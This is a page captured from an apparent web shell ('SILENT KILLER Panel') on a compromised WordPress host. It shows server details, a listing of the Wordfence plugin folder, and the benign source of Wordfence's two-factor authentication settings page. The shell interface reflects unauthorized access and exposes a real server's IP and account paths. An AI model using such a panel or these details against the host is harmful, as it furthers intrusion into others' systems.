SILENT KILLERPanel

Current Path: > home > transcarter > public_html > wp-content > > plugins > wordfence > lib >


Operation   : Linux host59.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
Software     : Apache
Server IP    : 198.54.126.42 | Your IP: 216.73.216.135
Domains      : 1034 Domain(s)
Permission   : [ 0755 ]

Files and Folders in: /home/transcarter/public_html/wp-content//plugins/wordfence/lib/

NameTypeSizeLast ModifiedActions
Diff Directory - -
audit-log Directory - -
dashboard Directory - -
rest-api Directory - -
.htaccess File 354 bytes July 17 2025 21:05:48.
Diff.php File 5762 bytes July 17 2025 21:05:47.
GeoLite2-Country.mmdb File 7825225 bytes July 17 2025 21:05:48.
IPTraf.php File 1195 bytes July 17 2025 21:05:48.
IPTrafList.php File 3054 bytes July 17 2025 21:05:48.
WFLSPHP52Compatability.php File 1303 bytes July 17 2025 21:05:48.
compat.php File 425 bytes July 17 2025 21:05:47.
diffResult.php File 2874 bytes July 17 2025 21:05:47.
email_genericAlert.php File 1422 bytes July 17 2025 21:05:47.
email_newIssues.php File 9035 bytes July 17 2025 21:05:47.
email_unlockRequest.php File 2397 bytes July 17 2025 21:05:47.
email_unsubscribeRequest.php File 1077 bytes July 17 2025 21:05:47.
flags.php File 6779 bytes July 17 2025 21:05:47.
live_activity.php File 580 bytes July 17 2025 21:05:48.
menu_dashboard.php File 28671 bytes July 17 2025 21:05:48.
menu_dashboard_options.php File 15577 bytes July 17 2025 21:05:48.
menu_firewall.php File 2167 bytes July 17 2025 21:05:48.
menu_firewall_blocking.php File 10495 bytes July 17 2025 21:05:48.
menu_firewall_blocking_options.php File 4737 bytes July 17 2025 21:05:48.
menu_firewall_waf.php File 20443 bytes July 17 2025 21:05:48.
menu_firewall_waf_options.php File 11357 bytes July 17 2025 21:05:48.
menu_install.php File 1767 bytes July 17 2025 21:05:48.
menu_options.php File 25291 bytes July 17 2025 21:05:48.
menu_scanner.php File 22047 bytes July 17 2025 21:05:48.
menu_scanner_credentials.php File 2838 bytes July 17 2025 21:05:48.
menu_scanner_options.php File 8615 bytes July 17 2025 21:05:48.
menu_support.php File 18243 bytes July 17 2025 21:05:48.
menu_tools.php File 1528 bytes July 17 2025 21:05:48.
menu_tools_auditlog.php File 16829 bytes July 17 2025 21:05:48.
menu_tools_diagnostic.php File 50536 bytes July 17 2025 21:05:48.
menu_tools_importExport.php File 1310 bytes July 17 2025 21:05:48.
menu_tools_livetraffic.php File 40381 bytes July 17 2025 21:05:48.
menu_tools_twoFactor.php File 20070 bytes July 17 2025 21:05:48.
menu_tools_whois.php File 4722 bytes July 17 2025 21:05:48.
menu_wordfence_central.php File 9889 bytes July 17 2025 21:05:48.
noc1.key File 1683 bytes July 17 2025 21:05:48.
sodium_compat_fast.php File 185 bytes July 17 2025 21:05:48.
sysinfo.php File 1501 bytes July 17 2025 21:05:48.
viewFullActivityLog.php File 1501 bytes July 17 2025 21:05:48.
wf503.php File 9860 bytes July 17 2025 21:05:48.
wfAPI.php File 10338 bytes July 17 2025 21:05:48.
wfActivityReport.php File 20945 bytes July 17 2025 21:05:48.
wfAdminNoticeQueue.php File 5323 bytes July 17 2025 21:05:48.
wfAlerts.php File 7549 bytes July 17 2025 21:05:48.
wfArray.php File 1816 bytes July 17 2025 21:05:48.
wfAuditLog.php File 48265 bytes July 17 2025 21:05:48.
wfBrowscap.php File 3996 bytes July 17 2025 21:05:48.
wfBrowscapCache.php File 262994 bytes July 17 2025 21:05:48.
wfBulkCountries.php File 10002 bytes July 17 2025 21:05:48.
wfCache.php File 6166 bytes July 17 2025 21:05:48.
wfCentralAPI.php File 26419 bytes July 17 2025 21:05:48.
wfConfig.php File 125427 bytes July 17 2025 21:05:48.
wfCrawl.php File 6722 bytes July 17 2025 21:05:48.
wfCredentialsController.php File 5284 bytes July 17 2025 21:05:48.
wfCrypt.php File 4146 bytes July 17 2025 21:05:48.
wfCurlInterceptor.php File 1047 bytes July 17 2025 21:05:48.
wfDB.php File 11764 bytes July 17 2025 21:05:48.
wfDashboard.php File 8399 bytes July 17 2025 21:05:48.
wfDateLocalization.php File 360582 bytes July 17 2025 21:05:48.
wfDeactivationOption.php File 2184 bytes July 17 2025 21:05:48.
wfDiagnostic.php File 68476 bytes July 17 2025 21:05:48.
wfDict.php File 738 bytes July 17 2025 21:05:48.
wfDirectoryIterator.php File 1937 bytes July 17 2025 21:05:48.
wfFileUtils.php File 2784 bytes July 17 2025 21:05:48.
wfHelperBin.php File 2015 bytes July 17 2025 21:05:48.
wfHelperString.php File 2180 bytes July 17 2025 21:05:48.
wfIPWhitelist.php File 1596 bytes July 17 2025 21:05:48.
wfImportExportController.php File 3306 bytes July 17 2025 21:05:48.
wfInaccessibleDirectoryException.php File 303 bytes July 17 2025 21:05:48.
wfInvalidPathException.php File 266 bytes July 17 2025 21:05:48.
wfIpLocation.php File 1768 bytes July 17 2025 21:05:48.
wfIpLocator.php File 2810 bytes July 17 2025 21:05:48.
wfIssues.php File 28582 bytes July 17 2025 21:05:48.
wfJWT.php File 5455 bytes July 17 2025 21:05:48.
wfLicense.php File 10682 bytes July 17 2025 21:05:48.
wfLockedOut.php File 9959 bytes July 17 2025 21:05:48.
wfLog.php File 58480 bytes July 17 2025 21:05:48.
wfMD5BloomFilter.php File 5327 bytes July 17 2025 21:05:48.
wfModuleController.php File 754 bytes July 17 2025 21:05:48.
wfNotification.php File 6564 bytes July 17 2025 21:05:48.
wfOnboardingController.php File 9443 bytes July 17 2025 21:05:48.
wfPersistenceController.php File 819 bytes July 17 2025 21:05:48.
wfRESTAPI.php File 377 bytes July 17 2025 21:05:48.
wfScan.php File 16300 bytes July 17 2025 21:05:48.
wfScanEngine.php File 136810 bytes July 17 2025 21:05:48.
wfScanEntrypoint.php File 1070 bytes July 17 2025 21:05:48.
wfScanFile.php File 1037 bytes July 17 2025 21:05:48.
wfScanFileLink.php File 403 bytes July 17 2025 21:05:48.
wfScanFileListItem.php File 408 bytes July 17 2025 21:05:48.
wfScanFileProperties.php File 1095 bytes July 17 2025 21:05:48.
wfScanMonitor.php File 4152 bytes July 17 2025 21:05:48.
wfScanPath.php File 1817 bytes July 17 2025 21:05:48.
wfSchema.php File 11175 bytes July 17 2025 21:05:48.
wfStyle.php File 1244 bytes July 17 2025 21:05:48.
wfSupportController.php File 24758 bytes July 17 2025 21:05:48.
wfUnlockMsg.php File 1163 bytes July 17 2025 21:05:48.
wfUpdateCheck.php File 27888 bytes July 17 2025 21:05:48.
wfUtils.php File 127089 bytes July 17 2025 21:05:48.
wfVersionCheckController.php File 19729 bytes July 17 2025 21:05:48.
wfVersionSupport.php File 535 bytes July 17 2025 21:05:48.
wfView.php File 2269 bytes July 17 2025 21:05:48.
wfViewResult.php File 1455 bytes July 17 2025 21:05:48.
wfWebsite.php File 1792 bytes July 17 2025 21:05:48.
wordfenceClass.php File 447131 bytes July 17 2025 21:05:48.
wordfenceConstants.php File 3650 bytes July 17 2025 21:05:48.
wordfenceHash.php File 43726 bytes July 17 2025 21:05:48.
wordfenceScanner.php File 31200 bytes July 17 2025 21:05:48.
wordfenceURLHoover.php File 18804 bytes July 17 2025 21:05:48.

Reading File: /home/transcarter/public_html/wp-content//plugins/wordfence/lib//menu_tools_twoFactor.php

<?php
if (!defined('WORDFENCE_VERSION')) { exit; }

$helpLink = wfSupportController::supportURL(wfSupportController::ITEM_TOOLS_TWO_FACTOR);

if (function_exists('network_admin_url') && is_multisite()) {
	$lsModuleURL = network_admin_url('admin.php?page=WFLS');
}
else {
	$lsModuleURL = admin_url('admin.php?page=WFLS');
}

echo wfView::create('common/section-title', array(
	'title'     => __('Two-Factor Authentication', 'wordfence'),
	'helpLink'  => $helpLink,
	'helpLabelHTML' => wp_kses(__('Learn more<span class="wf-hidden-xs"> about Two-Factor Authentication</span>', 'wordfence'), array('span'=>array('class'=>array()))),
))->render();
?>

<script type="application/javascript">
	(function($) {
		$(function() {
			document.title = "<?php esc_attr_e('Two-Factor Authentication', 'wordfence'); ?>" + " \u2039 " + WFAD.basePageName;
		});
	})(jQuery);
</script>

<div id="wordfenceMode_twoFactor"></div>

<div id="wf-tools-two-factor">
<?php if (wfCredentialsController::useLegacy2FA()): ?>
	<div class="wf-row">
		<div class="wf-col-xs-12">
			<div id="wordfenceTwoFactorLegacy">
				<p><strong><?php esc_html_e('2FA Mode: Legacy', 'wordfence') ?>.</strong> <?php esc_html_e('Two-factor authentication is using legacy support, which enables SMS-based codes but is less compatible. An improved interface and use by non-administrators is available by activating the new login security module.', 'wordfence'); ?></p>
				<p><a id="wf-migrate2fanew-start" class="wf-btn wf-btn-default wf-btn-sm wf-dismiss-link" href="#" role="button"><?php esc_html_e('Switch to New 2FA', 'wordfence'); ?></a></p>
			</div>
		</div>
	</div>
	<?php if (!wfConfig::get('isPaid')): ?>
		<div class="wf-premium-callout wf-add-bottom">
			<h3><?php esc_html_e("Take Login Security to the next level with Two-Factor Authentication", 'wordfence') ?></h3>
			<p><?php echo wp_kses(__('Used by banks, government agencies, and military worldwide, two-factor authentication is one of the most secure forms of remote system authentication available. With it enabled, an attacker needs to know your username, password, <em>and</em> have control of your phone to log into your site. Upgrade to Premium now to enable this powerful feature.', 'wordfence'), array('em'=>array())) ?></p>

			<p class="wf-nowrap">
				<img id="wf-two-factor-img1" src="<?php echo wfUtils::getBaseURL() . 'images/2fa1.svg' ?>" alt="">
				<img id="wf-two-factor-img2" src="<?php echo wfUtils::getBaseURL() . 'images/2fa2.svg' ?>" alt="">
			</p>

			<p class="center">
				<a class="wf-btn wf-btn-primary wf-btn-callout" href="https://www.wordfence.com/gnl1twoFac1/wordfence-signup/" target="_blank" rel="noopener noreferrer"><?php esc_html_e('Upgrade to Premium', 'wordfence') ?><span class="screen-reader-text"> (<?php esc_html_e('opens in new tab', 'wordfence') ?>)</span></a>
			</p>
		</div>

	<?php else: ?>
		<div class="wf-row">
			<div class="wf-col-xs-12 wf-flex-row">
				<div class="wf-flex-row-1">
					<p><?php echo wp_kses(__('With Two-Factor Authentication enabled, an attacker needs to know your username, password <em>and</em> have control of your phone to log in to your site. We recommend you enable Two-Factor Authentication for all Administrator level accounts.', 'wordfence'), array('em'=>array())) ?></p>
				</div>
				<div class="wf-flex-row-0 wf-padding-add-left">
					<?php
					echo wfView::create('options/block-controls', array(
						'suppressLogo' => true,
						'restoreDefaultsSection' => wfConfig::OPTIONS_TYPE_TWO_FACTOR,
						'restoreDefaultsMessage' => __('Are you sure you want to restore the default Two-Factor Authentication settings? This will undo any custom changes you have made to the options on this page. If you have configured any users to use two-factor authentication, they will not be changed.', 'wordfence'),
					))->render();
					?>
				</div>
			</div>
		</div>

		<div class="wf-row">
			<div class="wf-col-xs-12">
				<div class="wf-block wf-active">
					<?php if (!wfConfig::get('loginSecurityEnabled')): ?>
						<ul class="wf-block-banner">
							<li><?php echo wp_kses(__('<strong>Note:</strong> Two-Factor Authentication is disabled when the option "Enable Brute Force Protection" is off.', 'wordfence'), array('strong'=>array())); ?></li>
							<li><a href="#" class="wf-btn wf-btn-default" id="wf-2fa-enable" role="button"><?php esc_html_e('Turn On', 'wordfence'); ?></a></li>
						</ul>
					<?php endif; ?>
					<div class="wf-block-header">
						<div class="wf-block-header-content">
							<div class="wf-block-title">
								<strong><?php esc_html_e('Enable Two-Factor Authentication', 'wordfence') ?></strong>
							</div>
						</div>
					</div>
					<div class="wf-block-content">
						<ul class="wf-block-list">
							<li>
								<ul class="wf-form-field">
									<li style="width: 450px;" class="wf-option-text">
										<input placeholder="<?php echo esc_attr(__('Enter username to enable Two-Factor Authentication for', 'wordfence')) ?>" type="text" id="wfUsername" class="wf-form-control" value="">
									</li>
								</ul>
							</li>
							<li>
								<ul class="wf-form-field">
									<li>
										<input class="wf-option-radio" type="radio" name="wf2faMode" id="wf2faMode-authenticator" value="authenticator" checked>
										<label for="wf2faMode-authenticator">&nbsp;&nbsp;</label>
									</li>
									<li class="wf-option-title"><?php esc_html_e('Use authenticator app', 'wordfence') ?></li>
								</ul>
							</li>
							<li>
								<ul class="wf-form-field">
									<li>
										<input class="wf-option-radio" type="radio" name="wf2faMode" id="wf2faMode-phone" value="phone">
										<label for="wf2faMode-phone">&nbsp;&nbsp;</label>
									</li>
									<li class="wf-option-title"><?php esc_html_e('Send code to a phone number:', 'wordfence') ?>&nbsp;&nbsp;</li>
									<li class="wf-option-text">
										<input class="wf-form-control" type="text" value="" id="wfPhone" placeholder="<?php echo esc_attr(__('+1 (000) 000 0000', 'wordfence')) ?>">
									</li>
								</ul>

							</li>
							<li>
								<p>
									<input type="button" class="wf-btn wf-btn-primary pull-right" value="Enable User" onclick="WFAD.addTwoFactor(jQuery('#wfUsername').val(), jQuery('#wfPhone').val(), jQuery('input[name=wf2faMode]:checked').val());">
								</p>
							</li>

						</ul>

					</div>
				</div>
			</div>
		</div>
		<div class="wf-row">
			<div class="wf-col-xs-12">
				<h2><?php esc_html_e('Two-Factor Authentication Users', 'wordfence') ?></h2>

				<div id="wfTwoFacUsers"></div>
			</div>
		</div>
		<?php
		echo wfView::create('tools/options-group-2fa', array(
			'stateKey' => 'wf-2fa-options',
		))->render();
		?>

		<script type="text/javascript">
			jQuery('.twoFactorOption').on('click', function() {
				WFAD.updateConfig(jQuery(this).attr('name'), jQuery(this).is(':checked') ? 1 : 0, function() {

				});
			});

			jQuery('input[name=wf2faMode]').on('change', function() {
				var selectedMode = jQuery('input[name=wf2faMode]:checked').val();
				jQuery('#wfPhone').prop('disabled', selectedMode != 'phone');
			}).triggerHandler('change');

			(function($) {
				$(function() {
					$('#wf-2fa-enable').on('click', function(e) {
						e.preventDefault();
						e.stopPropagation();

						WFAD.setOption('loginSecurityEnabled', 1, function() {
							window.location.reload(true);
						});
					});
				});
			})(jQuery);
		</script>

		<script type="text/x-jquery-template" id="wfTwoFacUserTmpl">
			<table class="wf-striped-table wf-table-twofactor">
				<thead>
				<tr>
					<th><?php esc_html_e('User', 'wordfence') ?></th>
					<th><?php esc_html_e('Mode', 'wordfence') ?></th>
					<th><?php esc_html_e('Status', 'wordfence') ?></th>
					<th class="wf-center"><?php esc_html_e('Delete', 'wordfence') ?></th>
				</tr>
				</thead>
				<tbody>
				{{each(idx, user) users}}
				<tr id="twoFactorUser-${user.userID}">
					<td style="white-space: nowrap;">${user.username}</td>
					{{if user.mode == 'phone'}}
					<td style="white-space: nowrap;"><?php echo esc_html(sprintf(/* translators: Phone number. */ __('Phone (%s)', 'wordfence'), '${user.phone}')) ?></td>
					{{else}}
					<td style="white-space: nowrap;"><?php esc_html_e('Authenticator', 'wordfence') ?></td>
					{{/if}}
					<td style="white-space: nowrap;">
						{{if user.status == 'activated'}}
						<span style="color: #0A0;"><?php esc_html_e('Cellphone Sign-in Enabled', 'wordfence') ?></span>
						{{else}}
						<div class="wf-form-inline">
							<div class="wf-form-group">
								<label class="wf-plain wf-hidden-xs" style="margin: 0;" for="wfActivate-${user.userID}"><?php esc_html_e('Enter activation code:', 'wordfence') ?></label>
								<input class="wf-form-control" type="text" id="wfActivate-${user.userID}" size="6" placeholder="<?php esc_attr_e('Code', 'wordfence') ?>">
							</div>
							<input class="wf-btn wf-btn-default" type="button" value="<?php esc_attr_e('Activate', 'wordfence') ?>" onclick="WFAD.twoFacActivate('${user.userID}', jQuery('#wfActivate-${user.userID}').val());">
						</div>
						{{/if}}
					</td>
					<td style="white-space: nowrap; text-align: center;" class="wf-twofactor-delete">
						<a href="#" onclick="WFAD.delTwoFac('${user.userID}'); return false;" role="button"><i class="wf-ion-ios-trash-outline"></i></a>
					</td>
				</tr>
				{{/each}}
				{{if (users.length == 0)}}
				<tr id="twoFactorUser-none">
					<td colspan="4"><?php esc_html_e('No users currently have cellphone sign-in enabled.', 'wordfence') ?></td>
				</tr>
				{{/if}}
				</tbody>
			</table>
		</script>
	<?php endif; ?>
<?php else: ?>
	<div class="wf-row">
		<div class="wf-col-xs-12">
			<div id="wordfenceTwoFactorModern">
				<p><strong><?php esc_html_e('2FA Mode: Normal', 'wordfence') ?>.</strong> <?php esc_html_e('Legacy support for SMS-based two-factor authentication is being phased out, as it is less secure than using a modern authenticator app.', 'wordfence') ?></p>
				<p><?php esc_html_e('If you have a conflict with the new 2FA method, you can temporarily switch back to the Legacy version.', 'wordfence'); ?></p>
				<p><a id="wf-migrate2faold-start" class="wf-btn wf-btn-default wf-btn-sm wf-dismiss-link" href="#" role="button"><?php esc_html_e('Revert to Legacy 2FA', 'wordfence'); ?></a></p>
			</div>
		</div>
	</div>
<?php endif; ?>
</div>
<script type="text/x-jquery-template" id="wfTmpl_migrate2FANew">
	<?php
	echo wfView::create('common/modal-prompt', array(
		'title' => __('Migrate or switch to new two-factor authentication?', 'wordfence'),
		'message' => __('Use the buttons below to migrate to the new two-factor authentication system or switch without migration. Migration will copy all existing authenticator-based user activations over to the new system while switching will use only users already set up in the new system. Existing SMS-based two-factor authentication activations must be disabled prior to migration.', 'wordfence'),
		'primaryButton' => array('id' => 'wf-migrate2fanew-prompt-confirm', 'label' => __('Migrate', 'wordfence'), 'link' => '#'),
		'secondaryButtons' => array(array('id' => 'wf-migrate2fanew-prompt-switch', 'label' => __('Switch', 'wordfence'), 'link' => '#'), array('id' => 'wf-migrate2fanew-prompt-cancel', 'label' => __('Cancel', 'wordfence'), 'link' => '#')),
		'progressIndicator' => 'wf-migrate2fanew-progress',
	))->render();
	?>
</script>
<script type="text/x-jquery-template" id="wfTmpl_migrate2FANewComplete">
	<?php
	echo wfView::create('common/modal-prompt', array(
		'title' => __('New Two-Factor Authentication Active', 'wordfence'),
		'message' => __('Your site is now using the new login security module and two-factor authentication. Before logging out, we recommend testing your login in a different browser or a private/incognito window. If any plugins or your theme cause conflicts with logging in, you can revert to the old 2FA method.', 'wordfence'),
		'primaryButton' => array('id' => 'wf-migrate2fanewcomplete-prompt-navigate', 'label' => __('Go To New 2FA', 'wordfence'), 'link' => $lsModuleURL),
		'secondaryButtons' => array(array('id' => 'wf-migrate2fanewcomplete-prompt-close', 'label' => __('Close', 'wordfence'), 'link' => '#')),
	))->render();
	?>
</script>
<script type="text/x-jquery-template" id="wfTmpl_migrate2FASMSActive">
	<?php
	echo wfView::create('common/modal-prompt', array(
		'title' => __('Migration Cannot Proceed', 'wordfence'),
		'message' => __('One or more users with two-factor authentication active are using SMS, which is unsupported in the new login security module. Please either deactivate two-factor authentication for those users or change them to use an authenticator app prior to migration.', 'wordfence'),
		'primaryButton' => array('id' => 'wf-migrate2fasmsactive-prompt-close', 'label' => __('Close', 'wordfence'), 'link' => '#'),
	))->render();
	?>
</script>
<script type="text/x-jquery-template" id="wfTmpl_migrate2FANewFail">
	<?php
	echo wfView::create('common/modal-prompt', array(
		'title' => __('Migration Failed', 'wordfence'),
		'message' => __('Automatic migration of the 2FA-enabled accounts failed. Please verify that your server is reachable via the internet and try again.', 'wordfence'),
		'primaryButton' => array('id' => 'wf-migrate2fanewfail-prompt-close', 'label' => __('Close', 'wordfence'), 'link' => '#'),
	))->render();
	?>
</script>
<script type="text/x-jquery-template" id="wfTmpl_migrate2FAOld">
	<?php
	echo wfView::create('common/modal-prompt', array(
		'title' => __('Revert back to legacy two-factor authentication?', 'wordfence'),
		'message' => __('All two-factor authentication settings and users\' codes will revert to your older settings. If any users had set up two-factor authentication after the update, they will no longer have 2FA enabled until you switch to the new version again.', 'wordfence'),
		'primaryButton' => array('id' => 'wf-migrate2faold-prompt-cancel', 'label' => __('Cancel', 'wordfence'), 'link' => '#'),
		'secondaryButtons' => array(array('id' => 'wf-migrate2faold-prompt-switch', 'label' => __('Revert', 'wordfence'), 'link' => '#')),
		'progressIndicator' => 'wf-migrate2faold-progress',
	))->render();
	?>
</script>
<script type="text/x-jquery-template" id="wfTmpl_migrate2FAOldComplete">
	<?php
	echo wfView::create('common/modal-prompt', array(
		'title' => __('Legacy Two-Factor Authentication Active', 'wordfence'),
		'message' => __('Your site is now using the legacy two-factor authentication system.', 'wordfence'),
		'primaryButton' => array('id' => 'wf-migrate2faoldcomplete-prompt-close', 'label' => __('Close', 'wordfence'), 'link' => '#'),
	))->render();
	?>
</script>
<script type="application/javascript">
	(function($) {
		$(function() {
			$('#wf-migrate2fanew-start').on('click', function(e) {
				e.preventDefault();
				e.stopPropagation();

				var prompt = $('#wfTmpl_migrate2FANew').tmpl();
				var promptHTML = $("<div />").append(prompt).html();
				WFAD.colorboxHTML((WFAD.isSmallScreen ? '300px' : '500px'), promptHTML, {overlayClose: false, closeButton: false, className: 'wf-modal', onComplete: function() {
					$('#wf-migrate2fanew-prompt-cancel').on('click', function(e) {
						e.preventDefault();
						e.stopPropagation();

						WFAD.colorboxClose();
					});

					$('#wf-migrate2fanew-prompt-switch').on('click', function(e) {
						e.preventDefault();
						e.stopPropagation();

						$('#wf-migrate2fanew-progress').show();
						$('#wf-migrate2fanew-prompt-cancel, #wf-migrate2fanew-prompt-confirm').addClass('wf-disabled');

						WFAD.ajax('wordfence_switchTo2FANew', {migrate: false}, function(res) {
							var prompt = $('#wfTmpl_migrate2FANewComplete').tmpl();
							var promptHTML = $("<div />").append(prompt).html();
							WFAD.colorboxClose();
							setTimeout(function() {
								WFAD.colorboxHTML((WFAD.isSmallScreen ? '300px' : '500px'), promptHTML, {overlayClose: false, closeButton: false, className: 'wf-modal', onComplete: function() {
									$('#wf-migrate2fanewcomplete-prompt-close').on('click', function(e) {
										e.preventDefault();
										e.stopPropagation();

										window.location.reload();
										WFAD.colorboxClose();
									});
								}});
							}, 500);
						});
					});

					$('#wf-migrate2fanew-prompt-confirm').on('click', function(e) {
						e.preventDefault();
						e.stopPropagation();
						
						$('#wf-migrate2fanew-progress').show();
						$('#wf-migrate2fanew-prompt-cancel, #wf-migrate2fanew-prompt-confirm').addClass('wf-disabled');

						WFAD.ajax('wordfence_switchTo2FANew', {migrate: true}, function(res) {
							if (res.ok) {
								var prompt = $('#wfTmpl_migrate2FANewComplete').tmpl(res);
								var promptHTML = $("<div />").append(prompt).html();
								WFAD.colorboxClose();
								setTimeout(function() {
									WFAD.colorboxHTML((WFAD.isSmallScreen ? '300px' : '500px'), promptHTML, {overlayClose: false, closeButton: false, className: 'wf-modal', onComplete: function() {
										$('#wf-migrate2fanewcomplete-prompt-close').on('click', function(e) {
											e.preventDefault();
											e.stopPropagation();
	
											WFAD.colorboxClose();
										});
									}});
								}, 500);
							}
							else if (res.smsActive) {
								var prompt = $('#wfTmpl_migrate2FASMSActive').tmpl();
								var promptHTML = $("<div />").append(prompt).html();
								WFAD.colorboxClose();
								setTimeout(function() {
									WFAD.colorboxHTML((WFAD.isSmallScreen ? '300px' : '500px'), promptHTML, {overlayClose: false, closeButton: false, className: 'wf-modal', onComplete: function() {
										$('#wf-migrate2fasmsactive-prompt-close').on('click', function(e) {
											e.preventDefault();
											e.stopPropagation();

											WFAD.colorboxClose();
										});
									}});
								}, 500);
							}
							else {
								var prompt = $('#wfTmpl_migrate2FANewFail').tmpl();
								var promptHTML = $("<div />").append(prompt).html();
								WFAD.colorboxClose();
								setTimeout(function() {
									WFAD.colorboxHTML((WFAD.isSmallScreen ? '300px' : '500px'), promptHTML, {overlayClose: false, closeButton: false, className: 'wf-modal', onComplete: function() {
										$('#wf-migrate2fanewfail-prompt-close').on('click', function(e) {
											e.preventDefault();
											e.stopPropagation();

											WFAD.colorboxClose();
										});
									}});
								}, 500);
							}
						});
					});
				}});
			});

			$('#wf-migrate2faold-start').on('click', function(e) {
				e.preventDefault();
				e.stopPropagation();

				var prompt = $('#wfTmpl_migrate2FAOld').tmpl();
				var promptHTML = $("<div />").append(prompt).html();
				WFAD.colorboxHTML((WFAD.isSmallScreen ? '300px' : '500px'), promptHTML, {overlayClose: false, closeButton: false, className: 'wf-modal', onComplete: function() {
					$('#wf-migrate2faold-prompt-cancel').on('click', function(e) {
						e.preventDefault();
						e.stopPropagation();

						WFAD.colorboxClose();
					});

					$('#wf-migrate2faold-prompt-switch').on('click', function(e) {
						e.preventDefault();
						e.stopPropagation();

						$('#wf-migrate2faold-progress').show();
						$('#wf-migrate2faold-prompt-cancel, #wf-migrate2faold-prompt-switch').addClass('wf-disabled');

						WFAD.ajax('wordfence_switchTo2FAOld', {migrate: false}, function(res) {
							var prompt = $('#wfTmpl_migrate2FAOldComplete').tmpl();
							var promptHTML = $("<div />").append(prompt).html();
							WFAD.colorboxClose();
							setTimeout(function() {
								WFAD.colorboxHTML((WFAD.isSmallScreen ? '300px' : '500px'), promptHTML, {overlayClose: false, closeButton: false, className: 'wf-modal', onComplete: function() {
									$('#wf-migrate2faoldcomplete-prompt-close').on('click', function(e) {
										e.preventDefault();
										e.stopPropagation();

										window.location.reload();
										WFAD.colorboxClose();
									});
								}});
							}, 500);
						});
					});
				}});
			});
		});
	})(jQuery);
</script>

SILENT KILLER Tool